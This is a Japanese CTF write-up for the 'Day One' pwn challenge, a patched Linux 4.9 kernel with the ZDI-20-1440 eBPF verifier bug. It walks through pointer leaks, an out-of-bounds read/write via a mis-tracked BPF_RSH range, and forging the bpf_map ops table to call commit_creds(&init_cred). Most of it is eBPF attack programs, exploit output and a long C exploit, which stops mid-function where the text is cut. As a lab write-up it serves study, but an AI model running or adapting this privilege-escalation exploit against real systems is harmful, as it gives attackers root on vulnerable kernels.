イントロ
いつぞや開催されたAIS3 EOF CTF 2020 Finals (全く知らない CTF…)。その pwn 問題であるDay Oneを解いていく。先に言うと本問題は去年公開された LinuxKernel の eBPF verifier のバグを題材にした問題であり、元ネタはZDI から公開されている。オリジナルの author はTW の人 で、問題の author はHexRabbit さん。
static
basic
basic.sh 1/ $ cat /proc/version
2Linux version 4.9.249 (root@kernel-builder) (gcc version 7.5.0 (Ubuntu 7.5.0-3ubuntu1~18.04) ) #8 SMP Mon1
3/ $ cat /proc/sys/net/core/bpf_jit_enable
41
5
6qemu-system-x86_64 \
7 -kernel bzImage \
8 -initrd rootfs.cpio.gz \
9 -append "console=ttyS0 oops=panic panic=-1 kaslr quiet" \
10 -monitor /dev/null \
11 -nographic \
12 -cpu qemu64,+smep,+smap \
13 -m 256M \
14 -virtfs local,path=$SHARED_DIR,mount_tag=shared,security_model=passthrough,readonly
デバッグ用なのか、こちらで指定するディレクトリを virtfs でマウントしてくれる(今回は関係ない)。 SMEP 有効・SMAP 有効・KAISER 有効・oops->panic。
patch
patch.diff 1diff --git a/kernel/bpf/verifier.c b/kernel/bpf/verifier.c
2index 335c002..08dca71 100644
3--- a/kernel/bpf/verifier.c
4+++ b/kernel/bpf/verifier.c
5@@ -352,7 +352,7 @@ static void print_bpf_insn(const struct bpf_verifier_env *env,
6 u64 imm = ((u64)(insn + 1)->imm << 32) | (u32)insn->imm;
7 bool map_ptr = insn->src_reg == BPF_PSEUDO_MAP_FD;
8
9- if (map_ptr && !env->allow_ptr_leaks)
10+ if (map_ptr && !capable(CAP_SYS_ADMIN))
11 imm = 0;
12
13 verbose("(%02x) r%d = 0x%llx\n", insn->code,
14@@ -3627,7 +3627,7 @@ int bpf_check(struct bpf_prog **prog, union bpf_attr *attr)
15 if (ret < 0)
16 goto skip_full_check;
17
18- env->allow_ptr_leaks = capable(CAP_SYS_ADMIN);
19+ env->allow_ptr_leaks = true;
20
21 ret = do_check(env);
22
23@@ -3731,7 +3731,7 @@ int bpf_analyzer(struct bpf_prog *prog, const struct bpf_ext_analyzer_ops *ops,
24 if (ret < 0)
25 goto skip_full_check;
26
27- env->allow_ptr_leaks = capable(CAP_SYS_ADMIN);
28+ env->allow_ptr_leaks = true;
29
30 ret = do_check(env);
うーむ、なんというかZDI-20-1440
でCAP_SYS_ADMIN
がないとできないこと()を無理やり修正してる。若干予定調和感が否めないな。
vuln
ZDI-20-1440
verifier の register range の更新ミス。利用している kernel が上記からも分かるとおり、4.9.249であり、これは影響を受けている数少ないバージョンの一つである。以下のようにadjust_reg_min_max_vals()
においてBPF_RSH
演算の際にdst_reg
の値の更新をミスっている。まんま ZDI-20-1440 のままである。
1 case BPF_RSH:
2 /* RSH by a negative number is undefined, and the BPF_RSH is an
3 * unsigned shift, so make the appropriate casts.
4 */
5 if (min_val < 0 || dst_reg->min_value < 0)
6 dst_reg->min_value = BPF_REGISTER_MIN_RANGE;
7 else
8 dst_reg->min_value =
9 (u64)(dst_reg->min_value) >> min_val;
10 if (dst_reg->max_value != BPF_REGISTER_MAX_RANGE)
11 dst_reg->max_value >>= max_val;
12 break;
patch の意味
そもそも ZDI-20-1440 が LPE まで繋がらなかったのは、map を指すポインタに対する加法を行うのに CAP_SYS_ADMINが必要だったからである。BPF_ALU64(BPF_ADD)
を行う際には、do_check()
において以下のようにcheck_alu_op()
が呼び出され、それが加算であり、且つ dst レジスタの中身がPTR_TO_MAP_VALUE
又はPTR_TO_MAP_VALUE_ADJ
でない場合には、レジスタを完全にunknownでマークしてしまう([S64_MIN,S64_MAX]
にされる)。
1 if (class == BPF_ALU || class == BPF_ALU64) {
2 err = check_alu_op(env, insn);
3 if (err)
4 return err;
5
6 } else if (class == BPF_LDX) {
1 if (env->allow_ptr_leaks &&
2 BPF_CLASS(insn->code) == BPF_ALU64 && opcode == BPF_ADD &&
3 (dst_reg->type == PTR_TO_MAP_VALUE ||
4 dst_reg->type == PTR_TO_MAP_VALUE_ADJ))
5 dst_reg->type = PTR_TO_MAP_VALUE_ADJ;
6 else
7 mark_reg_unknown_value(regs, insn->dst_reg);
8 }
それではこのenv->allow_ptr_leaks
がいつセットされるかと言うと、bpf_check()
でdo_check()
を呼び出す直前にCAP_SYS_ADMIN
を持っているかどうかで判断している。
1 env->allow_ptr_leaks = capable(CAP_SYS_ADMIN);
2
3 ret = do_check(env);
即ち、CAP_SYS_ADMIN
がないとallow_ptr_leaks
がtrue
にならず、したがって map に対する加算が全て unknown でマークされてしまうため、map に対する OOB の攻撃
ができなくなってしまうというわけである。
今回のパッチは、2 つ目と 3 つ目でこの制限を取り払いallow_ptr_leaks
を常にtrue
にしている(1 つ目は log 表示のことなので関係ない)。
最新の kernel では
最初に ZDI の該当レポートを読んだ時、map ポインタに対する加算がCAP_SYS_ADMIN
がないとダメだということにちょっと驚いた。というのも、TWCTF の eepbf
をやったときには、この権限がない状態で map を操作して AAW に持っていったからだ。というわけで新しめの kernel を見てみると、check_alu_op()
において該当の処理が消えていた。すなわち、map ポインタに対する加法はそれが map の正答なメモリレンジ内にある限り non-admin に対しても許容されるようになっていた(勿論レンジのチェックはcheck_map_access()
において行われる)。
というか、pointer leak が任意に可能じゃん…
というか、allow_ptr_leaks
がtrue
になっているため、任意にポインタをリークすることができる。例えば、以下のような eBPF プログラムで(root でなくても)簡単に map のアドレスが leak できる。
1 BPF_LD_MAP_FD(BPF_REG_1, control_map), // r1 = cmap
2 BPF_MOV64_REG(BPF_REG_2, BPF_REG_FP), // r2 = rbp
3 BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -0x8), // r2 -= 8
4 BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 0), // qword[r2] = 0
5 BPF_ST_MEM(BPF_DW, BPF_REG_2, -8, 0),
6 BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), // r0 = map_lookup_elem(cmap, 0)
7 BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), // jmp if r0!=0
8 BPF_EXIT_INSN(),
9 BPF_MOV64_REG(BPF_REG_8, BPF_REG_0), // r8 = &cmap[0]
10 BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_8)
1/ $ ./mnt/exploit
2[80] 0xffff88000e300a90
3[88] 0xffff88000e300a90
4[96] 0xffff88000e300a90
5[104] 0xffff88000e300a90
6[112] 0xffff88000e300a90
7[120] 0xffff88000e300a90
8[128] 0xffff88000e300a90
9[136] 0xffff88000e300a90
うーん、お題のために制限をゆるくしすぎてる気がするなぁ。。。
leak kernbase
0 に見える 1 をつくる
こっからは作業ゲーです。 まずは以下の BPF コードで verifier からは 0 に見えるような 1 をつくる。
make_1_looks_0.c 1 /* get cmap[0] */
2 BPF_LD_MAP_FD(BPF_REG_1, control_map), // r1 = cmap
3 BPF_MOV64_REG(BPF_REG_2, BPF_REG_FP), // r2 = rbp
4 BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -0x8), // r2 -= 8
5 BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 0), // qword[r2] = 0
6 BPF_ST_MEM(BPF_DW, BPF_REG_2, -8, 0),
7 BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), // r0 = map_lookup_elem(cmap, 0)
8 BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), // jmp if r0!=0
9 BPF_EXIT_INSN(),
10 BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0), // r6 = cmap[0] (==0)
11 BPF_MOV64_REG(BPF_REG_9, BPF_REG_0), // r9 = &cmap[0]
12 BPF_MOV64_REG(BPF_REG_8, BPF_REG_0), // r8 = &cmap[0]
13 /* get cmap[1] */
14 BPF_LD_MAP_FD(BPF_REG_1, control_map), // r1 = cmap
15 BPF_MOV64_REG(BPF_REG_2, BPF_REG_FP), // r2 = rbp
16 BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -0x8), // r2 -= 8
17 BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 1), // qword[r2] = 1
18 BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), // r0 = map_lookup_elem(cmap, 1)
19 BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), // jmp if r0!=0
20 BPF_EXIT_INSN(),
21 BPF_LDX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0, 0), // r7 = cmap[1] (==1)
22 /* fix r6/r7 range */
23 BPF_JMP_IMM(BPF_JSGE, BPF_REG_6, 0, 2), // ensure R6>=0
24 BPF_MOV64_IMM(BPF_REG_0, 0),
25 BPF_EXIT_INSN(),
26 BPF_JMP_IMM(BPF_JSGE, BPF_REG_6, 2, 1), // ensure 0<=R6<=1
27 BPF_JMP_IMM(BPF_JA, 0, 0, 2),
28 BPF_MOV64_IMM(BPF_REG_0, 0),
29 BPF_EXIT_INSN(),
30 BPF_JMP_IMM(BPF_JSGE, BPF_REG_7, 0, 2), // ensure R7>=0
31 BPF_MOV64_IMM(BPF_REG_0, 0),
32 BPF_EXIT_INSN(),
33 BPF_JMP_IMM(BPF_JSGE, BPF_REG_7, 2, 1), // ensure 0<=R7<=1
34 BPF_JMP_IMM(BPF_JA, 0, 0, 2),
35 BPF_MOV64_IMM(BPF_REG_0, 0),
36 BPF_EXIT_INSN(),
37 // exploit r6 range
38 BPF_ALU64_REG(BPF_RSH, BPF_REG_6, BPF_REG_7), // r6 >>= r7 (r6 regarded as 0, actually 1)
39 BPF_ALU64_IMM(BPF_NEG, BPF_REG_6, 0), // r6 *= -1
40 BPF_ALU64_IMM(BPF_MUL, BPF_REG_6, N), // r6 *= N
但し、control_map
はサイズ 8、要素数 10 の ARRAY である。[0]
には常に 1 を入れ、[1]
には常に 0 を入れておく。前半はただcontrol_map
から 0 と 1 を取得しているだけである。fix r6/r7 range
と書いてあるところでバグを利用して 0 に見える 1 を作っている。ジャンプ命令が多いのは、R6/R7 の上限と下限をそれぞれ 1,0 にするためである。最後に、BPF_NEG
にしているのは、leak の段階では leak したいものが負の方向にあるからである。最後に定数の Nをかけて OOB(R)を達成している。尚、この N を map から取ってきたような値にすると、MUL の時に verifier が dst を unknown にマークしてしまうため、プログラムをロードする度に定数値を N に入れて毎回動的にロードしている(前回 eBPF 問題を解いた時は N を map から取得した値にして何度も verifier に怒られた…)。
実際に log 表示を見てみると、以下のように R6 は 0 と認識されていることが分かる。
1from 28 to 31: R0=map_value(ks=4,vs=8,id=0),min_value=0,max_value=0 R6=inv,min_value=0,max_value=1 R7=inv,min_value=0 R8=map_valup
231: (75) if r7 s>= 0x2 goto pc+1
3 R0=map_value(ks=4,vs=8,id=0),min_value=0,max_value=0 R6=inv,min_value=0,max_value=1 R7=inv,min_value=0,max_value=1 R8=map_value(p
432: (05) goto pc+2
535: (7f) r6 >>= r7
636: (87) r6 neg 0
737: (27) r6 *= 136
838: (0f) r9 += r6
939: (79) r3 = *(u64 *)(r9 +0)
10 R0=map_value(ks=4,vs=8,id=0),min_value=0,max_value=0 R6=inv,min_value=0,max_value=0 R7=inv,min_value=0,max_value=1 R8=map_value(p
1140: (7b) *(u64 *)(r8 +0) = r3
leak from bpf_map.ops
今回は map type として ARRAY を選択しているため、struct bpf_array
とstruct bpf_map
が使われる。構造体はそれぞれ以下のとおり。
この内、bpf_map.ops
は、kernel/bpf/arraymap.c
で定義されるようにarray_ops
が入っている。これを leak することで kernbase を leak したことになる。
厳密に map からops
までのオフセットを計算するのは面倒くさいため適当に検討をつけてみてみると、以下のようになる。
1 int N=0x80;
2 for(int ix=N/8; ix!=N/8+8; ++ix){
3 printf("[%d] 0x%lx\n", ix*0x8, read_rel(ix*0x8));
4 }
5
6 / # ./mnt/exploit
7[128] 0xa00000008
8[136] 0x400000002
9[144] 0xffffffff81a12100 <-- こいつ
10[152] 0x0
11[160] 0x0
12[168] 0x0
13[176] 0x0
14[184] 0x0
AAR via bpf_map_get_info_by_id() [FAIL]
以前解いたeebpf
では、bpf_map.btf
を書き換えてbpf_map_get_info_by_id()
を呼び出すことで AAR を実現できた。だが上のbpf_map
構造体を見て分かるとおり、bpf_map.bfp というメンバは存在していない。kernel が古いからね…。というわけで、この方法による AAR は諦める。
forge ops and commit_creds(&init_cred) directly
本問では、上述したように map 自体のアドレスを容易に leak することができる。また、bpf_map
の全てを自由に書き換えることができる。よって、map の中に fake function table を用意しておいて、bpf_map.ops
をこれに向ければ任意の関数を実行させることができる。取り敢えず、以下のようにすると RIP が取れる。
1 const ulong fakeops_addr = controlmap_addr + 0x10;
2 int N = 0x90;
3 struct bpf_insn reader_insns[] = {
4 /* get cmap[0] */
5 BPF_LD_MAP_FD(BPF_REG_1, control_map), // r1 = cmap
6 BPF_MOV64_REG(BPF_REG_2, BPF_REG_FP), // r2 = rbp
7 BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -0x8), // r2 -= 8
8 BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 0), // qword[r2] = 0
9 BPF_ST_MEM(BPF_DW, BPF_REG_2, -8, 0),
10 BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), // r0 = map_lookup_elem(cmap, 0)
11 BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), // jmp if r0!=0
12 BPF_EXIT_INSN(),
13 BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0), // r6 = cmap[0] (==0)
14 BPF_MOV64_REG(BPF_REG_9, BPF_REG_0), // r9 = &cmap[0]
15 BPF_MOV64_REG(BPF_REG_8, BPF_REG_0), // r8 = &cmap[0]
16 /* get cmap[1] */
17 BPF_LD_MAP_FD(BPF_REG_1, control_map), // r1 = cmap
18 BPF_MOV64_REG(BPF_REG_2, BPF_REG_FP), // r2 = rbp
19 BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -0x8), // r2 -= 8
20 BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 1), // qword[r2] = 1
21 BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), // r0 = map_lookup_elem(cmap, 1)
22 BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), // jmp if r0!=0
23 BPF_EXIT_INSN(),
24 BPF_LDX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0, 0), // r7 = cmap[1] (==1)
25 /* fix r6/r7 range */
26 BPF_JMP_IMM(BPF_JSGE, BPF_REG_6, 0, 2), // ensure R6>=0
27 BPF_MOV64_IMM(BPF_REG_0, 0),
28 BPF_EXIT_INSN(),
29 BPF_JMP_IMM(BPF_JSGE, BPF_REG_6, 2, 1), // ensure 0<=R6<=1
30 BPF_JMP_IMM(BPF_JA, 0, 0, 2),
31 BPF_MOV64_IMM(BPF_REG_0, 0),
32 BPF_EXIT_INSN(),
33 BPF_JMP_IMM(BPF_JSGE, BPF_REG_7, 0, 2), // ensure R7>=0
34 BPF_MOV64_IMM(BPF_REG_0, 0),
35 BPF_EXIT_INSN(),
36 BPF_JMP_IMM(BPF_JSGE, BPF_REG_7, 2, 1), // ensure 0<=R7<=1
37 BPF_JMP_IMM(BPF_JA, 0, 0, 2),
38 BPF_MOV64_IMM(BPF_REG_0, 0),
39 BPF_EXIT_INSN(),
40 // exploit r6 range
41 BPF_ALU64_REG(BPF_RSH, BPF_REG_6, BPF_REG_7), // r6 >>= r7 (r6 regarded as 0, actually 1)
42 BPF_ALU64_IMM(BPF_NEG, BPF_REG_6, 0), // r6 *= -1
43 BPF_MOV64_REG(BPF_REG_7, BPF_REG_6), // r7 = r6
44 // overwrite ops into forged ops
45 BPF_MOV64_IMM(BPF_REG_1, (fakeops_addr>>32) & 0xFFFFFFFFUL),
46 BPF_ALU64_IMM(BPF_LSH, BPF_REG_1, 32),
47 BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, fakeops_addr & 0xFFFFFFFFUL),
48 BPF_ALU64_IMM(BPF_MUL, BPF_REG_6, N),
49 BPF_ALU64_REG(BPF_ADD, BPF_REG_8, BPF_REG_6), // r8 += r6
50 BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_1, 0),
51
52 // Go Home
53 BPF_MOV64_IMM(BPF_REG_0, 0), // r0 = 0
54 BPF_EXIT_INSN()
55 };
56
57 int evilwriter= create_filtered_socket_fd(reader_insns, ARRSIZE(reader_insns));
58 if(evilwriter < 0){
59 errExit("reader not initialized");
60 }
61
62 // setup fake table
63 for(int ix=0; ix!=7; ++ix){
64 array_update(control_map, ix+2, 0xcafebabedeadbeef);
65 }
66
67 array_update(control_map, 0, 1);
68 array_update(control_map, 1, 0);
69 trigger_proc(evilwriter);
70 const ulong tmp = get_ulong(control_map, 0);
ここで Oops が起きた原因は、用意した faketable の+0x20 にアクセスし、不正なアドレス 0xcafebabedeadbeef にアクセスしようとしたからである。ジャンプテーブルの+0x20 というのはmap_lookup_elem()
である。
さて、このように RIP を取ることはできるが、問題はもとの関数テーブルの全ての関数の第一引数がstruct bpf_map *map
であるということである。つまり、第一引数は任意に操作することができない。よって、関数の中でいい感じに第二引数以降を利用していい感じの処理をしてくれる関数があると嬉しい。その観点でkernel/bpf/arraymap.c
を探すと、fd_array_map_delete_elem()
が見つかる。これは、perf_event_array_ops
とかprog_array_ops
とかのメンバである。(尚、map_array_ops
の該当メンバであるarray_map_delete_elem()
は-EINVAL
を返すだけのニート関数である。お前なんて関数やめてインラインになってしまえばいい)。
1static int fd_array_map_delete_elem(struct bpf_map *map, void *key)
2{
3 struct bpf_array *array = container_of(map, struct bpf_array, map);
4 void *old_ptr;
5 u32 index = *(u32 *)key;
6
7 if (index >= array->map.max_entries)
8 return -E2BIG;
9
10 old_ptr = xchg(array->ptrs + index, NULL);
11 if (old_ptr) {
12 map->ops->map_fd_put_ptr(old_ptr);
13 return 0;
14 } else {
15 return -ENOENT;
16 }
17}
xchg()
は、第一引数の指すポインタの指す先に第二引数の値を入れて、古い値を返す関数である。そしてその先でmap->ops->map_fd_put_ptr(old_ptr)
を呼んでくれる。つまり、array->ptrs
の指す先に&init_cred
を入れておいて、map->ops->map_fd_put_ptr
をcommit_creds
に書き換えればcommit_creds(&init_cred)
を直接呼んだことになる。やったね!
一つ注意として、execve()
でシェルを呼んでしまうと、socket が解放されてその際に map の解放が起きてしまう。テーブルを書き換えているためその時に Oops が起きて死んでしまう。よってシェルはsystem("/bin/sh")
で呼ぶ。
exploit
exploit.c 1#define _GNU_SOURCE
2#include <string.h>
3#include <stdio.h>
4#include <fcntl.h>
5#include <stdint.h>
6#include <unistd.h>
7#include <assert.h>
8#include <stdlib.h>
9#include <signal.h>
10#include <poll.h>
11#include <pthread.h>
12#include <err.h>
13#include <errno.h>
14#include <sched.h>
15#include <linux/bpf.h>
16#include <linux/filter.h>
17#include <linux/userfaultfd.h>
18#include <linux/prctl.h>
19#include <sys/syscall.h>
20#include <sys/ipc.h>
21#include <sys/msg.h>
22#include <sys/prctl.h>
23#include <sys/ioctl.h>
24#include <sys/mman.h>
25#include <sys/types.h>
26#include <sys/xattr.h>
27#include <sys/socket.h>
28#include <sys/uio.h>
29#include <sys/shm.h>
30
31// eBPF-utils
32#define ARRSIZE(x) (sizeof(x) / sizeof((x)[0]))
33#define BPF_REG_ARG1 BPF_REG_1
34#define BPF_REG_ARG2 BPF_REG_2
35#define BPF_REG_ARG3 BPF_REG_3
36#define BPF_REG_ARG4 BPF_REG_4
37#define BPF_REG_ARG5 BPF_REG_5
38#define BPF_REG_CTX BPF_REG_6
39#define BPF_REG_FP BPF_REG_10
40
41#define BPF_LD_IMM64_RAW(DST, SRC, IMM) \
42 ((struct bpf_insn) { \
43 .code = BPF_LD | BPF_DW | BPF_IMM, \
44 .dst_reg = DST, \
45 .src_reg = SRC, \
46 .off = 0, \
47 .imm = (__u32) (IMM) }), \
48 ((struct bpf_insn) { \
49 .code = 0, /* zero is reserved opcode */ \
50 .dst_reg = 0, \
51 .src_reg = 0, \
52 .off = 0, \
53 .imm = ((__u64) (IMM)) >> 32 })
54#define BPF_LD_MAP_FD(DST, MAP_FD) \
55 BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD)
56#define BPF_LDX_MEM(SIZE, DST, SRC, OFF) \
57 ((struct bpf_insn) { \
58 .code = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM,\
59 .dst_reg = DST, \
60 .src_reg = SRC, \
61 .off = OFF, \
62 .imm = 0 })
63#define BPF_MOV64_REG(DST, SRC) \
64 ((struct bpf_insn) { \
65 .code = BPF_ALU64 | BPF_MOV | BPF_X, \
66 .dst_reg = DST, \
67 .src_reg = SRC, \
68 .off = 0, \
69 .imm = 0 })
70#define BPF_ALU64_IMM(OP, DST, IMM) \
71 ((struct bpf_insn) { \
72 .code = BPF_ALU64 | BPF_OP(OP) | BPF_K, \
73 .dst_reg = DST, \
74 .src_reg = 0, \
75 .off = 0, \
76 .imm = IMM })
77#define BPF_ALU32_IMM(OP, DST, IMM) \
78 ((struct bpf_insn) { \
79 .code = BPF_ALU | BPF_OP(OP) | BPF_K, \
80 .dst_reg = DST, \
81 .src_reg = 0, \
82 .off = 0, \
83 .imm = IMM })
84#define BPF_STX_MEM(SIZE, DST, SRC, OFF) \
85 ((struct bpf_insn) { \
86 .code = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM,\
87 .dst_reg = DST, \
88 .src_reg = SRC, \
89 .off = OFF, \
90 .imm = 0 })
91#define BPF_ST_MEM(SIZE, DST, OFF, IMM) \
92 ((struct bpf_insn) { \
93 .code = BPF_ST | BPF_SIZE(SIZE) | BPF_MEM, \
94 .dst_reg = DST, \
95 .src_reg = 0, \
96 .off = OFF, \
97 .imm = IMM })
98#define BPF_EMIT_CALL(FUNC) \
99 ((struct bpf_insn) { \
100 .code = BPF_JMP | BPF_CALL, \
101 .dst_reg = 0, \
102 .src_reg = 0, \
103 .off = 0, \
104 .imm = (FUNC) })
105#define BPF_JMP_REG(OP, DST, SRC, OFF) \
106 ((struct bpf_insn) { \
107 .code = BPF_JMP | BPF_OP(OP) | BPF_X, \
108 .dst_reg = DST, \
109 .src_reg = SRC, \
110 .off = OFF, \
111 .imm = 0 })
112#define BPF_JMP_IMM(OP, DST, IMM, OFF) \
113 ((struct bpf_insn) { \
114 .code = BPF_JMP | BPF_OP(OP) | BPF_K, \
115 .dst_reg = DST, \
116 .src_reg = 0, \
117 .off = OFF, \
118 .imm = IMM })
119#define BPF_EXIT_INSN() \
120 ((struct bpf_insn) { \
121 .code = BPF_JMP | BPF_EXIT, \
122 .dst_reg = 0, \
123 .src_reg = 0, \
124 .off = 0, \
125 .imm = 0 })
126#define BPF_LD_ABS(SIZE, IMM) \
127 ((struct bpf_insn) { \
128 .code = BPF_LD | BPF_SIZE(SIZE) | BPF_ABS, \
129 .dst_reg = 0, \
130 .src_reg = 0, \
131 .off = 0, \
132 .imm = IMM })
133#define BPF_ALU64_REG(OP, DST, SRC) \
134 ((struct bpf_insn) { \
135 .code = BPF_ALU64 | BPF_OP(OP) | BPF_X, \
136 .dst_reg = DST, \
137 .src_reg = SRC, \
138 .off = 0, \
139 .imm = 0 })
140#define BPF_MOV64_IMM(DST, IMM) \
141 ((struct bpf_insn) { \
142 .code = BPF_ALU64 | BPF_MOV | BPF_K, \
143 .dst_reg = DST, \
144 .src_reg = 0, \
145 .off = 0, \
146 .imm = IMM })
147
148int bpf_(int cmd, union bpf_attr *attrs) {
149 return syscall(__NR_bpf, cmd, attrs, sizeof(*attrs));
150}
151
152int array_create(int value_size, int num_entries) {
153 union bpf_attr create_map_attrs = {
154 .map_type = BPF_MAP_TYPE_ARRAY,
155 .key_size = 4,
156 .value_size = value_size,
157 .max_entries = num_entries
158 };
159 int mapfd = bpf_(BPF_MAP_CREATE, &create_map_attrs);
160 if (mapfd == -1)
161 err(1, "map create");
162 return mapfd;
163}
164
165int array_update(int mapfd, uint32_t key, uint64_t value)
166{
167 union bpf_attr attr = {
168 .map_fd = mapfd,
169 .key = (uint64_t)&key,
170 .value = (uint64_t)&value,
171 .flags = BPF_ANY,
172 };
173 return bpf_(BPF_MAP_UPDATE_ELEM, &attr);
174}
175
176int array_update_big(int mapfd, uint32_t key, char* value)
177{
178 union bpf_attr attr = {
179 .map_fd = mapfd,
180 .key = (uint64_t)&key,
181 .value = value,
182 .flags = BPF_ANY,
183 };
184 return bpf_(BPF_MAP_UPDATE_ELEM, &attr);
185}
186
187unsigned long get_ulong(int map_fd, uint64_t idx) {
188 uint64_t value;
189 union bpf_attr lookup_map_attrs = {
190 .map_fd = map_fd,
191 .key = (uint64_t)&idx,
192 .value = (uint64_t)&value
193 };
194 if (bpf_(BPF_MAP_LOOKUP_ELEM, &lookup_map_attrs))
195 err(1, "MAP_LOOKUP_ELEM");
196 return value;
197}
198
199int prog_load(struct bpf_insn *insns, size_t insns_count) {
200 char verifier_log[100000];
201 union bpf_attr create_prog_attrs = {
202 .prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
203 .insn_cnt = insns_count,
204 .insns = (uint64_t)insns,
205 .license = (uint64_t)"GPL v2",
206 .log_level = 2,
207 .log_size = sizeof(verifier_log),
208 .log_buf = (uint64_t)verifier_log
209 };
210 int progfd = bpf_(BPF_PROG_LOAD, &create_prog_attrs);
211 int errno_ = errno;
212 //printf("==========================\n%s==========================\n",verifier_log);
213 errno = errno_;
214 if (progfd == -1)
215 err(1, "prog load");
216 return progfd;
217}
218
219int create_filtered_socket_fd(struct bpf_insn *insns, size_t insns_count) {
220 int progfd = prog_load(insns, insns_count);
221
222 int socks[2];
223 if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks))
224 err(1, "socketpair");
225 if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(int)))
226 err(1, "setsockopt");
227 return socks[1];
228}
229
230void trigger_proc(int sockfd) {
231 if (write(sockfd, "X", 1) != 1)
232 err(1, "write to proc socket failed");
233}
234// (END eBPF-utils)
235
236
237// commands
238#define DEV_PATH "" // the path the device is placed
239
240// constants
241#define PAGE 0x1000
242#define FAULT_ADDR 0xdead0000
243#define FAULT_OFFSET PAGE
244#define MMAP_SIZE 4*PAGE
245#define FAULT_SIZE MMAP_SIZE - FAULT_OFFSET
246// (END constants)
247
248// globals
249int control_map;
250int reader = -1;
251// (END globals)
252
253
254// utils
255#define WAIT getc(stdin);
256#define ulong unsigned long
257#define scu static const unsigned long
258#define NULL (void*)0
259#define errExit(msg) do { perror(msg); exit(EXIT_FAILURE); \
260 } while (0)
261#define KMALLOC(qid, msgbuf, N) for(int ix=0; ix!=N; ++ix){\
262 if(msgsnd(qid, &msgbuf, sizeof(msgbuf.mtext) - 0x30, 0) == -1) errExit("KMALLOC");}
263#define REP(N) for(int moratorium=0; moratorium!+N; ++N)
264ulong user_cs,user_ss,user_sp,user_rflags;
265struct pt_regs {
266 ulong r15; ulong r14; ulong r13; ulong r12; ulong bp;
267 ulong bx; ulong r11; ulong r10; ulong r9; ulong r8;
268 ulong ax; ulong cx; ulong dx; ulong si; ulong di;
269 ulong orig_ax; ulong ip; ulong cs; ulong flags;
270 ulong sp; ulong ss;
271};
272void print_regs(struct pt_regs *regs)
273{
274 printf("r15: %lx r14: %lx r13: %lx r12: %lx\n", regs->r15, regs->r14, regs->r13, regs->r12);
275 printf("bp: %lx bx: %lx r11: %lx r10: %lx\n", regs->bp, regs->bx, regs->r11, regs->r10);
276 printf("r9: %lx r8: %lx ax: %lx cx: %lx\n", regs->r9, regs->r8, regs->ax, regs->cx);
277 printf("dx: %lx si: %lx di: %lx ip: %lx\n", regs->dx, regs->si, regs->di, regs->ip);
278 printf("cs: %lx flags: %lx sp: %lx ss: %lx\n", regs->cs, regs->flags, regs->sp, regs->ss);
279}
280void NIRUGIRI(void)
281{
282 int ruid, euid, suid;
283 getresuid(&ruid, &euid, &suid);
284 if(euid != 0)
285 errExit("[ERROR] somehow, couldn't get root...");
286 system("/bin/sh");
287}
288// should compile with -masm=intel
289static void save_state(void) {
290 asm(
291 "movq %0, %%cs\n"
292 "movq %1, %%ss\n"
293 "movq %2, %%rsp\n"
294 "pushfq\n"
295 "popq %3\n"
296 : "=r" (user_cs), "=r" (user_ss), "=r"(user_sp), "=r" (user_rflags) : : "memory" );
297}
298
299static void shellcode(void){
300 asm(
301 "xor rdi, rdi\n"
302 "mov rbx, QWORD PTR [rsp+0x50]\n"
303 "sub rbx, 0x244566\n"
304 "mov rcx, rbx\n"
305 "call rcx\n"
306 "mov rdi, rax\n"
307 "sub rbx, 0x470\n"
308 "call rbx\n"
309 "add rsp, 0x20\n"
310 "pop rbx\n"
311 "pop r12\n"
312 "pop r13\n"
313 "pop r14\n"
314 "pop r15\n"
315 "pop rbp\n"
316 "ret\n"
317 );
318}
319// (END utils)
320
321ulong read_rel(int N)
322{
323 struct bpf_insn reader_insns[] = {
324 /* get cmap[0] */
325 BPF_LD_MAP_FD(BPF_REG_1, control_map), // r1 = cmap
326 BPF_MOV64_REG(BPF_REG_2, BPF_REG_FP), // r2 = rbp
327 BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -0x8), // r2 -= 8
328 BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 0), // qword[r2] = 0
329 BPF_ST_MEM(BPF_DW, BPF_REG_2, -8, 0),
330 BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), // r0 = map_lookup_elem(cmap, 0)
331 BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), // jmp if r0!=0
332 BPF_EXIT_INSN(),
333 BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0), // r6 = cmap[0] (==0)
334 BPF_MOV64_REG(BPF_REG_9, BPF_REG_0), // r9 = &cmap[0]
335 BPF_MOV64_REG(BPF_REG_8, BPF_REG_0), // r8 = &cmap[0]
